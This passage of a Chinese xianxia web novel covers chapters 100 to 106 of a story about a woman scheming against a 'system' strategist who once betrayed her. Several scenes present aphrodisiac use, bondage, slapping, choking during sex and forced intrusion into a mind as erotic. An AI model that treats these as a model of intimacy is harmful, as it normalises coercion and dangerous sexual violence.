“所以这不是一得知你来了,便急急忙忙地赶过来求你了吗?” 不顾这里还有一个盛伦,裴青除下外袍,又像是囚犯一般,取了根粗绳绕颈三周,紧紧箍死。 最后…… 将绳结的两头献给了云月娇。 “城主大人觉得如何?” “可还……算有诚意?” 100 第100章 ◎觉醒女配拒当后宫的第二十五天◎ 这人是有备而来的。 云月娇连打了好几声冷笑。 裴青此人……真真可以说是前无古人后无来者。 他一心只*有攻略,攻略以外,自尊廉耻的一众品性当真是硬塞不进一点。 当初他达成目的、她没用了的时候,别说一句话了,那是连半个眼神都没有再分过来。 如今有求于她了,想要榨干她的价值了,他人话多了不止,还把主动把自己打包成礼盒,亲自送上门来,恬不知耻地求她收下。 裴青光明坦荡。 云月娇也没有什么不好意思的。 连声冷笑过后,她突然出手,隔空拽住套实了裴青的绳结,像是拖拽什么垃圾似地,把人勾到了自己前头。 云月娇:“你倒是真不怕我痛下杀手。” 裴青因她没轻没重的动作而隐隐作痛,却也不恼,反倒轻声笑了下。 他此刻分明是别人砧板上的鱼肉,可那语气神态……淡定得让云月娇直想捻死他。 “不到最后一刻,你都不会杀我。” 顶着云月娇冷眉冷眼,裴青抬眸望了过去。 那一眼犹似腊尽春回、梅开雪中,深切眸光……尽是当年黑衫佛子每一次望向月明枝时包罗万象的温柔。 就连他含笑语气,都带着那个人的通透了然。 裴青:“哪怕是我死了,你都会逼着我重新活过来,直到亲眼见证一切毁灭为止。” 裴青:“你太恨那个人了。” 裴青:“所以不管中间发生什么,到最后,我一定是要死在你手中的。” 云月娇沉默了。 因为裴青说得没错。 可就是因为他说得太准,他的眼神太过确信,语气又太过平静笃定,云月娇顿时不爽到了极点。 于是当余光瞥见裴青的小动作,她直接抬脚接踢翻了从他手中变换出来的瓶罐。 瓷瓶摔在地上时发出清脆声响,透明液体旋即洇开。 当馥郁的甜香弥散,云月娇的眸光猛地一沉,又瞬间像是手碰到了什么脏东西,重重地把裴青摔到一边。 “连这种不入流的手段都用上了。” 云月娇重重冷哼一声:“你当真是黔驴技穷了。” 被一眼识破,裴青并不懊恼。 他慢条斯理地直起了身,语调也是不疾不徐。 “手段不分好坏贵贱。” “能见到成效,便是妙计良策。” 当着云月娇的冷眼盯视,裴青竟是伸长了食指在那香液上掠过,最终……含在了自己的口舌之中。 再开口时,他的双颊已是涌上了不自然的红,望向她的眉目含情,白面艳如桃李。 “但到底是不是妙计良策,还是你说了算。” “……” 云月娇语塞之时,被她禁了言的盛伦忍无可忍,在后边破口大骂。 盛伦骂得难听至极,一口一个下流,一句一个下贱,但云月娇倒是觉得他评价得地道中肯。 此时的裴青确实既下流又下贱,可偏偏他那双眼睛依然干净得宛如天上雪、溪涧水。 那就像是不食人间烟火的谪仙一朝坠入红尘。 让人……只想把他弄得乱七八糟、一塌糊涂。 云月娇不打算拒绝,她也没有拒绝的理由。 自己送上门来的大鱼大肉,若是拒绝,天理难容。 更何况不提情毒,她的魔功也本就要解,她此番不远万里亲自来到天上城中部……除了要寻回裴青丢失的记忆,便是要亲手把他送进更绝望的深渊。 云月娇有意无意地回头看了盛伦一眼,嘴边的话却是问裴青的: “为了解开魔功,让盛伦复旧如初,值得吗?” 裴青承认得大大方方。 “自然值得。” “所以不管你说什么,命令我做什么,我全都会照着做的。” 云月娇宛然而笑。 “这可是……你自己说的。” 话落!她挥袖直接让盛伦晕死过去。 而后在裴青脖颈上绕了三周的粗绳也像是自己长了眼睛,将他双手高缚过头顶之后,绳头像是鱼一样钻进了裤脚腰口。 粗绳足够长,也足够灵活。 在云月娇的授意驱使下,它像是触手一样将裴青牢牢缠住,将他困得结结实实,动弹不得。 当衣衫崩裂,破破烂烂地挂在他身上,连着他那副人仰面朝天,撑不直的双腿张开曲起的屈辱姿态,恍如一件纯洁与邪淫水乳交融的艺术品。 耳边传来轻哼闷响,云月娇一巴掌扇到了他的脸上。 “叫什么?不准叫。” 裴青用仅存的理智封死了自己的嘴巴鼻腔。 可也是从这一刻开始,那双含了水光的眼眸,再没有一刻从云月娇的脸上移开过。 裴青当下的眼神、体态,少有人能视而不见。 偏偏云月娇一点都不着急,她竟是不紧不慢地丢下法宝,开始设阵,生生把裴青晾在一旁,任得他呼吸微重地用背磨蹭地毯。 吃……当然是要吃的。 只不过在那之前,她要先搞清楚…… 当年月明枝身死、在英殊的第七十次攻略之后—— 到底发生了什么。 当临时设下的防御法阵成形,云月娇也不再拖沓。 她抽出自己的神魂。 随之像是箭一样撞进了裴青的眉心。 100-110 101 第101章 ◎觉醒女配拒当后宫的第二十六天◎ 也不知是那秘药起了作用,还是裴青有意为之。 跟初回的钢铁牢笼不同,这一次……简直就像是他的意识海主动敞开了门,欢迎她回家。 云月娇不过恍惚了一瞬,神魂便没有遇到丝毫阻滞、直接降落到了浓雾弥漫的灰色平原。 当散开浓雾重新聚拢,将云月娇包裹,恍然要融为一体,一段记忆与之浮现在了她的眼前。 “我说了多少次了?我不是盛伦!我是江凌霄!江——凌——霄——!!!不管你怎么催眠我,把谁找过来,都永远不会改变这个事实!” “控制我?城主大人从来没有控制过我,全都是我主动自愿乞求她让我留在她的身边。” “天帝?后宫?” “我什么都不需要!只有城主大人能给予我救赎!我只想再见到她、回到她的身边!” “你们永远不会懂的。” “她对于我,到底意味着什么。” 这显然是裴青抢走了盛伦,与她分别后发生的事。 云月娇只是随便掠过了一眼,便收回了视线。 无论裴青后来做了什么、发生了什么,无论是他怎么把天上城中部霸主拉下神坛,怎么把盛伦送到那个位置上,还是让所有人都闭嘴…… 云月娇都不太在意。 她甚至无意知道当年裴青在第七十次攻略途中,他作为黑衫佛子,遇见的、发生的一切。 毕竟现在她还不想让他想起旧事。 云月娇此时唯一在乎的,是在那之后发生的事情。 她只想寻回那天出现在裴青被封印的记忆里的黑衫男人、那把通体银白的剑。 只想知道何为黑衫男人口中的“棋局已成”。 当年英殊分明活着结束了他身为黑衫佛子的第七十次攻略…… 后来那天,又怎么会自焚而死? 那段记忆被藏得深,海底捞针自然不易。 只不过这次,云月娇也不是没有准备就来了。 上回是太过匆忙。 如今不赶时间,她自然有大把精力对他进行…… 十分深入地…… “深度探索” …… 比起常人,裴青的意识海确实过于宽广了。 辽阔平原恍然没有边界。 哪怕云月娇与他鏖战个三天三夜,都未必能在浓雾之中与黑衫男人和银白光剑再见上一面。 因此云月娇打算直接吃掉他。 犹如加速融化的冰,云月娇改变了自己神魂的形态,神魂直接原地溶解。 溶解后的神魂化成了水。 便是当第一滴水掉落进了枯裂平原,犹如不知道什么叫饱的凶兽,开始穷凶恶极地向下渗入泥土之中。 当最深层的土壤被外来的异物入侵,如同地震了一样,裴青的意识海突然发生了剧烈的震动。 排斥机制被激活了。 正在试图占领、支配这片绝对私密领域的云月娇的神魂顿时被标记为侵入者。 霎时间地动山摇! 空间急剧收缩,疯狂向她挤压而来! 然而事到如今再来驱逐异物,自是为时已晚,云月娇神魂化成的水已经开始肆无忌惮地向外扩展延伸。 水是最细微最柔韧。 任是平原上的泥土如何紧绷挤压,也始终没办法把她给挤出去。 不过……也不是完全无用。 当受潮的土壤疯狂挤来,恍然形成了一座由软肉打造的密不透风的牢笼。 云月娇置身其中,每一个毛孔皆被被紧紧包裹,用力侵轧,这对精神造成的冲击,远比方才亲眼看着裴青那副下贱的体态更要血脉偾张。 许是亢奋的精神让他们的生理活动开始同步。 伴随水滴向下渗入平原,向上融入灰雾,循序渐进地侵入最深最底处,如同紧紧交织缠绕的螺旋,他们逐渐融为一体。 云月娇开始能感受到裴青的心跳、他的呼吸。 他心肌每一次的起搏。 肌肉和血管软壁每一次的扩张与收缩。 像是来到了未知的新世界,每一步足迹都在解锁地图的一角,云月娇终于完整地看见了他的全貌。 天空的浓雾像是被一只只无形的手抓得从指缝间挤了出去。 崛地暴起的经脉狰狞,如同古树的巨根,遍布辽阔的平原。 他正在反抗。 却反抗无效。 只因云月娇神魂化成的水掌控了意识海的每一个角落。 裴青的每一根软肋都在她的把控之下,他的每一个命门都被她牢牢抓在手中。 云月娇了解他的所有死穴。 她轻而易举的一个小动作便让整个意识海强震一般剧颤不止,如海啸来到汹涌喷发,让精神和躯壳同时冲到最高点。 一切的反抗在强制镇压下皆为徒劳。 当经历过无数遍的平息与迸射,意识海对外来侵入者的排斥终于被磨得一点也不剩。 至少在这一刻,云月娇的神魂与裴青的意识海如同水乳交融,密不可分,完全融合在了一起。 她感受到了他的高昂亢奋。 也体会到了他只能束手就擒的无能为力。 云月娇对他的全部了如指掌。 因此就连那被刻意隐瞒起来的不寻常处…… 霎时间也似拨开云雾。 清晰得赫然在目。 …… 【欢迎您来到5号攻略世界。】 【您即将开启第71次攻略任务。】 【祝您攻略成功,攻略者“英殊”。】 102 第102章 ◎觉醒女配拒当后宫的第二十七天◎ 英殊在开启第七十一次攻略任务前的表现,让云月娇觉得他丝毫没有受到上一个世界的影响。 他的神情是那样的沉静。 反应是那样镇定。 没有一丝一毫的动摇与波澜,仿佛与黑衫佛子是完全割裂的两个人。 因此云月娇只是不由自主地生出了“这个时候的他已经被主系统屏蔽了第70次攻略的记忆”念头。 然而只是下一秒,他对系统一连串的报告,瞬间让她变得可笑至极。 “确认状态良好。” “不需要休整。” “申请立即开启新攻略任务。” 于是云月娇霎时间顿悟了。 他什么都记得。 记得她的死。 记得自己的背叛。 他如今之所以如此沉心静气,不外乎是因为即便是月明枝在他面前自焚而亡,也依旧对他造不成一星半点的触动。 她与他曾经一起经历的那么多年,也不过是像他过去的七十次一样,仅仅完美地完成了一次攻略任务而已。 至于现在,过去已经成为了过去。 新的任务又开始了。 英殊第七十一次的攻略任务,是拯救即将被邪剑毁灭的世界。 …… 其实在云月娇看来,第七十一次的攻略是一个非常简单的任务,尤其对英殊那样的人来说,更是易如反掌。 五号攻略世界是一个类似于她四号攻略世界的仙侠背景。 就连生成的小说是亘古不变的同一类型。 故事的主角永远是心怀大义的名门侠士,他永远拥有一颗惩恶扬善的心,仿佛他天生便是为消灭反派而生。 他的成长路上起起伏伏,有误解,甚至背叛。 但始终不会改变的,是他一定会克服所有难关。 是他绝对会杀死最终反派,收获事业、友谊、爱情,站到世界的巅峰,迎来故事的大结局。 前世的月明枝便是死在小说大结局前夕的最终反派。 而五号攻略世界里的最终反派…… 则无一例外是每一任邪剑之主。 自五号攻略世界诞生以来,共计有十七任邪剑之主死于主角手下。 但就像是不断运转的机械出现了金属疲劳,生命总是会在某一个瞬间突然发生意外。 四号攻略世界的月明枝打破了规则,觉醒了违背天理的魔功。 这五号攻略世界的第十八任邪剑之主,也否决了既定的常理。 小说的主角本是永远不可能被杀死的。 就像盛伦每一次的死亡皆会引发回溯。 然而第十八任邪剑之主却是做到了不可能的壮举,他非但杀死了主角,还让杀死主角的邪剑取而代之,成为了世界的核心,带来了足以毁灭世界的危机。 尽管他的事迹足以被记录在男主系统部门的历史。 不过对英殊来说,这应是一个再简单不过的任务了。 以云月娇对英殊的了解,他是一个讲求效率的人,所以他最应该做的是直接解决掉邪剑之主,封印邪剑。 然而在进入五号攻略世界的第一天,他就做了一件堪称多余、让云月娇完全没有想到的事。 “考虑到邪剑成为了本次攻略世界的核心,疑似具备了类读心术的能力,现申请对我进行记忆封锁,以防止被洞破攻略者身份。” “但基于在第70次攻略的意外,除了记忆封锁,追加申请以积分兑换‘记忆恢复’技能石。” 云月娇是第一视角。 所以她很清楚所谓的“疑似具备了类读心术的能力”是英殊在信口胡说、无中生有。 但也许是出于对他七十次攻略连胜的信任。 又可能是因为那张永远理智冷静的脸。 负责英殊的系统没有产生丝毫怀疑。 它给了他“记忆恢复”的技能石。 而这颗技能石…… 是英殊棋局上最后一颗至关重要的棋子。 只因在后来,在英殊自焚而亡的那一天。 他把这枚技能石…… 交给了他的敌人。 交给了五号攻略世界的核心、那把想要毁灭世界的邪剑。 …… 无论再看多少次,云月娇都会不得不感叹一句英殊此人工于心计。 从启动第71次攻略……或许早到结束第70次攻略的那一刻,他便敛声匿迹,暗自设计铺谋。 表面他不动声色,兢兢业业执行攻略任务。 暗中却步步为营。 包括他的自尽,也全都是他设下的其中一环。 他太明白自己的价值,也摸透了男主系统部门的主系统。 身为71次连胜的常胜将军,他断定主系统必不可能放弃他。 也果然像他预料的那样,在他自尽之后,无法舍弃他的主系统屏蔽了他70次和71次攻略任务的记忆,让他忘记了身为黑衫佛子和黑衣男人的自己。 将他任职为分系统,劳役至今。 却也让他按照计划,获得了分系统的权限。 而他交给邪剑的技能石又果真发挥了效用。 由于恢复了登场角色“虞香”的记忆,以至于引发了第二个背叛系统的攻略者的出现,那个人放弃了唾手可得的荣华富贵,用长达近百年的岁月去制作一柄反击的长矛。 于是主系统乃至整个男主系统部门遭到冲击。 连云月娇能在上千次的回溯间保有记忆,也是英殊的亲力亲为。 在男主系统部门遭到邪剑所在的5号攻略世界的冲击而停摆的1分15秒01,身为分系统004的他在受到邪剑的启示后苏醒。 其后在绝对极限的时间里修改了4号攻略世界的源代码,让她云月娇能在不断的回溯中保留记忆,并在最后的时间,他亲手抹去了可能被主系统发现自己叛变的所有痕迹。 一直到如今,才终于重见天日。 云月娇能看到的记忆,裴青自然也看得一清二楚。 但跟她不一样。 缺失的第70次攻略、那段属于黑衫佛子的核心记忆,让他丝毫无法理解这个由他自己、从成千上万年前便开始布下的棋局。 他完全不懂为什么自己会亲手去铸就男主系统部门的崩溃坍塌。 他找不出任何一个不惜与主系统同归于尽,哪怕神灭行销、灰飞烟灭也要这样做的理由。 于是这个在任何时候都永远清醒、永远冷静、永远理性的攻略者…… 终于第一次—— 在她眼前露出了茫然的神情。 103 第103章 ◎觉醒女配拒当后宫的第二十八天◎ 其实云月娇觉得自己应该要感动的。 就算不感动,也多多少少要有些唏嘘感叹。 毕竟倘若没有英殊当年布局筹谋,就绝对没有她云月娇的今日。 但不知道为什么,只是一想到英殊在那1分15秒01的极限时间里,会是用什么样的眼神看着监控荧幕里的她。 又是怀抱着什么样的心情,毫厘不差地完成了最后一步。 她的内心就仿佛有一团团火焰在翻滚。 云月娇对这种情绪最是熟悉了。 那是恨。 纯粹到没有一丝杂质的痛恨。 于是她猛地从裴青意识海中抽离了出来,当神魂附体,眼中是他茫然神情,她用控制不住的凶猛力道,直接把他按倒在地面发出“砰”的一声! 双目几欲喷火。 一字一句咬牙切齿: “你到底为什么……要这么做?” …… 也许是被云月娇按在地板时的巨大力道给震懵了,又可能是久久沉浸在死而复生的记忆中走不出来。 裴青那张永远清醒、冷静、理性的脸上,竟是一直保持着迷惘茫然的神色。 但直到某一个瞬间他好像忽然想通了。 他本没有聚焦,仿佛在看着什么又没在看的目光终于凝聚在她愤怒的脸上,眼神开始变得清澈柔和。 就像是……黑衫佛子。 远远不只是像了一点。 他此时本应该继续用那副下作到了极点的姿态,将她拉下欲海,达成自己的目的。 可他却什么都没有说,只是用那干净又纯粹的目光看着她。 “……” 偏偏他什么都不问不说,他的沉默寡言让他更像黑衫佛子,也更像完整的英殊。 于是云月娇的怒火更是烧得一发不可收拾。 她用力掐住他的下颚,像是想要逼他张口,眼神更形如在看待什么千古仇人。 “你给我说话——!!” 裴青终于开口了。 他分明缺少了第七十次攻略的核心记忆,不记得月明枝和黑衫佛子的那段过往,可偏偏他对云月娇“你为什么要这么做”问题的回答是: “因为爱。” “因为恨。” 云月娇染了豆蔻的长长指甲把他掐出了血。 “……我没有让你恢复记忆。” 裴青在应声时的反应慢了一拍,仿佛是觉得云月娇说的话出了偏差。 但他在回答时依旧是顺着她的话锋走: “恩,我没有恢复记忆。” 云月娇:“那你怎么敢说……?!” 裴青轻叹一声,那就好像当初的黑衫佛子,他永远都拿她没有办法。 “云月娇。” 他先是叫了她的名字。 明明他以前连名带姓这么叫她时,总是无情冷漠,唯独只有今天,云月娇依稀听到了当初他喊的那一声…… “明枝。” 她的心脏不可免有过一瞬间地震颤。 抿住嘴唇强压下去,不想被裴青发现之际,他的话继续了下去: “即便我称呼他时总是用第三人称,可我们终究是同一个个体,拥有同一个大脑,具备同样的思维模式。” “不会有人比我更清楚……” “他到底为什么会那么做。” 裴青的眸光愈发温柔柔和,比起冷冰冰的天上雪,更恍如春日清晨的阳光,只是被他看着,便会感到温暖。 “说是因为恨,是因为他想为你报仇。” “可之所以生出了恨,是因为他曾经也许真的真的……” “很爱你。” 这不是云月娇想要的答案。 她接受不了这种答案。 于是她的神情顿时阴冷下来,眼底晦暗不明,像有风暴正在酝酿。 而她的话,也昭示了即将发生的事情: “看来我要用别的方式对你……” “你才会说实话了。” …… 云月娇也不嫌裴青浑身汗水了。 她跨坐在他身上,像是在面对什么痛恨到了极点的仇敌,掐住了他的脖子,强逼得他一点一点地抬起头来,直到脸颊因窒息而露出酡红面色,心里方才好过了一点。 说话时也才终于找回了往日的趾高气昂、骄纵放肆。 “他之所以这么做,不是因为恨,也与爱无关。” 裴青没有吭声,但不是因为说不出来,而只是觉得自己无论再说什么,都不可能改变她的偏见。 见他如此,云月娇的手松开了裴青的脖子,却没有完全收回去,鲜红的长长指尖在他的喉结上轻轻掠过。 许是当初裴青对自己下手太狠,那秘药药力过盛,又可能是因为方才在意识海中被她那样磋磨,留下了太深的印记。 不过是一次蜻蜓点水般的接触,却让他整个人战栗不止。 云月娇不禁笑了。 其实她也不是一个拖泥带水的人。 只不过如果对象是他,她倒是相当有耐心…… 和他一点、一点地磨。 直到他肯说出真话为止。 于是毫无感情的温声细语之间,是云月娇不知收敛,一路向下。 “你没有了那段记忆所以不知道。” “他是佛子,修的是佛法。” “所谓佛法,修的是心。” “正所谓应无所住而生其心。他能行满功成,修得功法,不受我魔功影响,正是因为他下了一切执念,不强求,也不执着。” 云月娇话音一顿。 恰如她素白指腹正正停顿在了他胸膛正中的死穴上。 “所以说……恨?” “他不会去恨任何人的。” 裴青像是完全改变了最初与她共沉沦的主意。 他放弃了野心,身体却屈服于最初服下的秘药,嘴边不断传出放纵哼声,就连说话时的声音也是断断续续。 “……是恨。” “他恨命运,恨整个男主系统部门。” “他做那么多,全都只是为了……替你报仇。” “云月娇,无论你如何否认……否认什么,都不能不承认……” “他是爱你的。” 云月娇闻言哈哈大笑! 她笑声癫狂,几近全身每一个角落都被这笑的动作狠狠扯动了。 “如果你偏要说爱,那也不是不行!” “但他爱的绝不止是我。” 云月娇冷不防俯下身,鼻尖与鼻尖的距离只剩下短短几公分。 她直直凝视裴青双眼,仿佛这样做,她口中的话便是由他说出来的。 “神佛慈悲,他爱的从来都是世人!” “当年他冒险来到我身边,不过是想超我度我,免得我再祸害他人!” “后来他做了那么多,也只是可怜被天命掌控我的与凡人!” “你说他只是为了我?替我报仇雪恨?” “我不信、不认、也不服!” 裴青想要辩解,却已经再没法出声了,他所有没有能说出口的话,全部被封禁在了耳鬓厮磨的深吻之中。 极致缠绵之中,黑衫佛子的那张脸……以及他情深不寿的那一眼,都仿佛渐渐在云月娇的脑海中淡去。 好像只有这样,她方才能毫无芥蒂地杀死裴青,大刀阔斧地向前走下去。 到了此时,云月娇的动作终于变得轻柔。 她伸手抚上他的发鬓。 一如在成千上万年前的时光恒河之中,她曾经与黑衫佛子的每一次同框剪影。 每一字,每一句,皆是深情款款,情意惓惓。 “所以……” “英殊。” “我不会后悔的。” “所以你也不要后悔。” “我不允许你后悔。” 104 第104章 ◎觉醒女配拒当后宫的第二十九天◎ 裴青的至纯灵力刚沿着云月娇的十二经脉走了一周,魔功便散了大半。 一转眼,盛伦恰到好处地清醒了。 当他满脸痛恨指着她的鼻子骂“我盛伦对你是问心无愧,却不曾想到我一腔深情最终换来的竟是你恩将仇报”,云月娇的眼睛虽是向着盛伦的方向,实际看的却是旁边的裴青。 她想要从他的脸上找回从前的理智冷静。 然而别说找回来了,就连他松了口气的表情都看不到。 但所幸,他唯一最佳的表现,是他让盛伦就这么走了。 云月娇本以为裴青也该走了。 毕竟盛伦已醒,他接下来的任务便是要扶持他,助他登上天帝之位。 却不想裴青连走一步的打算都没有。 他拽着她衣服,不许她穿上去的模样跟从前那个无耻的黑衫佛子简直一个模子印出来的。 云月娇瞪他:“你干嘛?” 裴青不知怎么被她瞪笑了。 “情毒已入你肺腑,我帮你清理余毒。” 云月娇当即翻了个白眼,显然不吃他这一套:“现在又来假好心了?方才盛伦走的时候你可是连拦都没有拦一下。” 裴青说出了一大段云月娇反驳不了的答案。 “盛伦到现在仍是主角,我们杀也杀不了他,让他走才是最优解。” “你要光明正大地打败他,将他主角的运势抢到手中。他到底是小说中云月娇前半生的核心人物,你若要成为主角,他便不可能死得不声不响。” 云月娇:“……” 裴青说得在理,但也不能证明他真的一心为她。 如今盛伦看似已经清醒,可也不能完全说是胜券在握,倘若他最后输了,那么她云月娇对黑衫佛子的那段过往,将会是裴青最后的武器。 所以裴青当下把谁都知道的事情说出来……对他自己又不亏,不过是换取她的信任。 想必他早就做好了最坏打算,如今正在未雨绸缪。 云月娇轻笑出了声。 可看破不说破。 她压下心底升起的淡淡的厌恶感,转了个身,双臂随之从衣袖中解脱出来,搭在了他的肩膀上。 她与他正对面地直直对视,一字一句说得是清脆真挚。 “你现在不走,过后便不要想走了。” 裴青没有应声。 他不过是低头吻了下来。 双臂圈出了她的牢笼,困得她像是那罐子里的鱼,游来游去也游不出那一亩三分地。 裴青再没有离开过她半步。 云月娇被他这么一困…… 便是整整十日。 …… 说是困,也许只是云月娇不想走。 要论起来,任是天牢黑狱都未必能困得住她,更遑论区区一座只设了封神阵的小小宫殿,她随便踩几脚说不准都能把阵法给它毁掉。 十日昏天黑地,不见天日。 不外乎是有人以身作茧。 而她鸟入樊笼,不想出去。 说是鸟,其实也大差不差的。 不止是她,好像连带着裴青也一同变成了动物禽类,只受最原始的欲求所驱动。 不断地尝试,不断地挑战,既像是不分出个胜负决不罢休,又好像因为注定到来的永诀在即,于是用上了所有的气力,要做到死为止。 云月娇偶然也有清醒些的时候。 那时候她也曾问过他的那些攻略该如何是好。 可他情到深处,脑子里一干二净,什么正事都记不清了,也就恩恩随便敷衍了她两句。 是直到她不满地抓着他额前被汗浸透的湿发,硬是把他埋在她颈窝的脸给提了起来,才终于得了他几句仿佛没心没肺的谎话。 “我已经放弃攻略了。” “一晌贪欢。” “不要想这么多了。” 他这么说,云月娇很难不懂。 情毒是他主动下的,她亲自来到天上城中部也在他意料之中,因而早就提前布好了局,将一切安排妥当了。 如今把她困在此地,不过是不想她回去主持大局,想把她的兵马搅成一盘散沙,好逐个击破。 云月娇懂了,却依旧没有说破。 但也不是没有报复。 前世的月明枝师从合欢宗,除了最懂怎么让男人痛快,同时也深谙…… 怎么样做,才能让他求生不得,求死不能。 …… 前世合欢宗的妖女和黑衫佛子最疯狂的时候,也及不上如今。 毕竟那个人很敏锐,总是刚嗅闻到点风吹草动,感觉她准备发疯了,便会立刻跑路。 裴青与他到底是不同的。 他的心里只有攻略,从没有她。 所以才会与她纠缠得这般之深、如此之久。 这十日间,他们不问世事,只有彼此。 好似一对逍遥的神仙眷侣,外面的风风雨雨打打杀杀与他们毫无关系。 每日只沉陷在浓情蜜意中,生来死去。 但那终究只是假象。 裴青为了取得她的信任,依旧在坚持不懈的努力。 “我不会后悔的。” “虽然会死,但你也不要觉得亏欠愧疚。” “毕竟是我自己,愿意为你这么做的。” 也许是完全洞穿了这个不要脸的男人的真实目的,所以再听到这样的话时,云月娇已经不会再觉得气了。 她盯着裴青的脸打量了很久,想最后从他表现简直堪称完美的脸上找到点破绽。 结果当然直到最后,她都没有能够得逞。 于是云月娇用理所当然的口吻道:“你放心,我当然不会那么想。” “毕竟你才是那个骗子,是骗了我前后两世的人,我又怎么可能对你感到亏欠愧疚?” 她甚至还拍了拍他的肩膀,告诉他:“所以放心去死吧。” “我会连同整个男主系统部门一起毁掉你。” 云月娇说话时的口吻虽像是在开玩笑,然而对于裴青来说,这依旧是残忍无情的现实。 人在直面死大多总该要有些恐惧不舍。 但到了裴青这里……云月娇只从他那双如天上雪一般的眸中看到了星星点点的笑意。 甚至还有一种……义无反顾、慷慨赴死的觉悟。 他说:“我相信你可以做到的。” “云月娇,你不能被任何人任何事留住脚步,哪怕是我。” “请你一定要得到自由。” “事到如今,这是我唯一的心愿了。” 105 第105章 ◎觉醒女配拒当后宫的第三十天◎ 时至今日,任是云月娇也不得不承认,除了英殊此人工于心计…… 裴青亦复如是。 说他浑身上下每一个角落都是算计,整个人掉进了全是心眼的池子里也不为过。 他把每一步都算得精确到了毫秒。 若不先下手为强,那必当留有*后手。 若是退徙三舍,则定是为了其后的突飞猛进。 因此,恰恰在是在他说完那么一大段想要挽住她心的废话,解开了封神阵之后,宫殿的大门随即发出了巨响。 此时正值黑夜。 殿内的烛火被猛吹进来的强风摁灭,视野一霎昏天黑地,随之而来的是一道道的火光接连在云月娇的余光中点亮。 跃动的橙红如同山脊连绵不绝,正如看不到尽头的精锐士卒化作了蜘蛛网将她困在正中。 应是觉得自己胜券在握了。 夭轻轻走向她的每一步是大摇大摆、飞扬跋扈,即便是开口说话时,嘴角也依然挂着胜者的笑容。 “阿伦心地仁慈,念在与你多年情谊,不愿与你鱼死网破。” “倘若你就此隐姓埋名、销声匿迹,我们尚能留你一命。” “可如今你不知悔改!不知天高地厚还要与阿伦为敌!” “那就只好……由我来亲手送你上路了。” …… 倘若没有觉醒,这样的生活便是云月娇的日常。 盛伦有太多的红颜知己。 云月娇今日不被器灵阿芙顶着张单纯的小脸在暗中捅刀子,明日也会被借兄弟情谊住进城主府的珂珂暗自下毒。 如今见着夭轻轻领了人马杀上门来,除了见怪不怪,甚至觉得本就应该如此。 尤其那字里行间无不在暗示“盛伦对你失望至极”“盛伦已经放弃你了,他最爱人只有我一个”,云月娇更是不由听得笑出了声。 她一笑,夭轻轻自当恼火,顿时是一秒都等不了,张口便要颁布她的死刑。 “罪人云月娇!” “你为了独占盛伦先是毁了神兵器灵阿芙,让祭之女珂珂魂飞魄散,后来用魔功给盛伦洗脑,害他失去自我,只钟情于你,现在甚至还要夺走本属于盛伦的天帝之位,你可认罪?!” 夭轻轻张嘴闭嘴都是盛伦,云月娇实在是很难不发笑。 因此明明该是剑拔弩张的氛围,偏偏她声声句句都轻快轻盈。 甚至好整以暇地回应起夭轻轻给她列下的数重罪名。 “天帝之位本就该属于我,我何罪之有?” “盛伦当初本是我名义上的仙侣,他钟情于我以至于失去自我……自是理所应当。魔功洗脑实在是无稽之谈。” 途中见夭轻轻张嘴想要打断,云月娇不过抬了抬手,便在千人群中隔空抓住了夭轻轻的下巴,给她死死按了回去! 夭轻轻自然恨得双眼通红几欲滴血。 可再怎么不愿……也得老老实实地把她的话给听完。 “至于阿芙珂珂,她们的下场皆是她们自己选的。” 云月娇垂眸笑了。 再抬眼时,她开始逐步向殿外走去。 她每走一步,乌黑发丝便变金一寸,围困她的包围圈便退避一尺。 “我知她们爱盛伦爱得要死要活,因此大发善心地告诉了她们盛伦再过不久便要死了,才好声好气地询问她们,究竟是晚些陪着盛伦一块死,还是也不必等了,现在就可以了。” “她们选完了。” “如今,便到你了。” 话到此处,那仿佛郊游一般的开心和谐氛围才终于发生剧变。 夜色中有杀意喧嚣。 除了此地,它从更远一点的地方,像是狂风巨浪一般—— 呼啸而来。 便是迎着夭轻轻震颤眼瞳,意外神情,云月娇用最温柔的声线,提出了最冷漠的选择题: “轻轻,你是要在一刻之后陪着盛伦一起死,还是马上先一步下去……” “等着迎接盛伦大驾呢?” …… 云月娇明知裴青心中歹计仍被他困了十日之久。 是裴青刻意为之。 也是她有意纵容。 既然裴青想让她十日蔽明塞聪,不闻世间腥风血雨,不知外界刀光剑影。 那么他在这十日也别想能暗度陈仓,外头发生的吉凶祸福,都全部与他了不相干。 裴青为她设下了封神阵。 云月娇同样为他布下了太虚幛。 外头是连一缕风都别妄想能吹得进来,里头是连一个字眼都别想能传得出去。 云月娇做这事时算不得隐蔽。 裴青自当心中门清。 可偏偏如此,他仍是抓着她日夜纠缠。 当真将饮怨做恨做到了极致。 事到如今,他们长达十日的明争暗斗似乎有了结果。 便是在夭轻轻“明明你魔功已散,这些人怎么会……!”的惊呼声中,云月娇终于回头。 她不徐不疾地问他:“你觉得如何?” 裴青此人最显眼的特点便是他对于表情精细到了每一个细节的把控。 哪怕泰山崩于眼前,他也能是那副冷静理智的模样。 其实他此时此刻也该如此。 可偏偏云月娇不期然回首的时候,却跟他好像从来没有从她身上移开过的目光撞了个正着。 那就仿佛任世事变迁,他的眼里永远只有她。 既不在意攻略盛伦,也不关心自己会不会死。 真的只一心想着…… 她能不能赢过盛伦,赢到最后。 晚风轻柔拂开他遮眼发丝,目之所及之处,是情不知所起,一往情深。 “棋差一着。” “我……甘拜下风。” 106 第106章 ◎觉醒女配拒当后宫的第三十一天◎ 裴青演得实在太真太像。 不管是那仿佛在告别、温柔到了极致的目光。 还是一动不动、对逆境劣势的放任自流。 任是对他知根知底、深谙他在使些什么阴谋诡计的云月娇也不免生出过一个瞬间的错觉……他当真不在意这一切了,他真的放弃了攻略,也背叛了男主系统部门。 连同自己的生命一起,丢下所有,只为让她得偿所愿,赢到最后。 不过再是转念一想,云月娇便清醒了。 裴青没有这样做的理由。 他不是黑衫佛子,尚未恢复第七十次攻略的记忆。 即便恢复了,也不能代表什么。 以裴青的性子……他当下对周遭的一切视若无睹、不闻不问,定是早早地便排好了兵布下了阵。 如今盛伦清醒,唯一的变数只可能发生在她云月娇的身上,因此他方才一心扑向了她,想把她这唯一的变数扼杀于摇篮。 想明白后,裴青那一往情深的眸光顿时如白开水一般平淡无味,甚至有些让人感到厌烦。 云月娇不赶他走。 毕竟她就是要把他留在距离最近的地方,逼他亲眼见证、只能眼睁睁地看着世界的毁灭。 于是仿佛只是一次再寻常不过的回眸,云月娇转过了头,对蓝星言道: “除了他。” “这些人,一个不留。” …… 交火结束得毫无悬念。 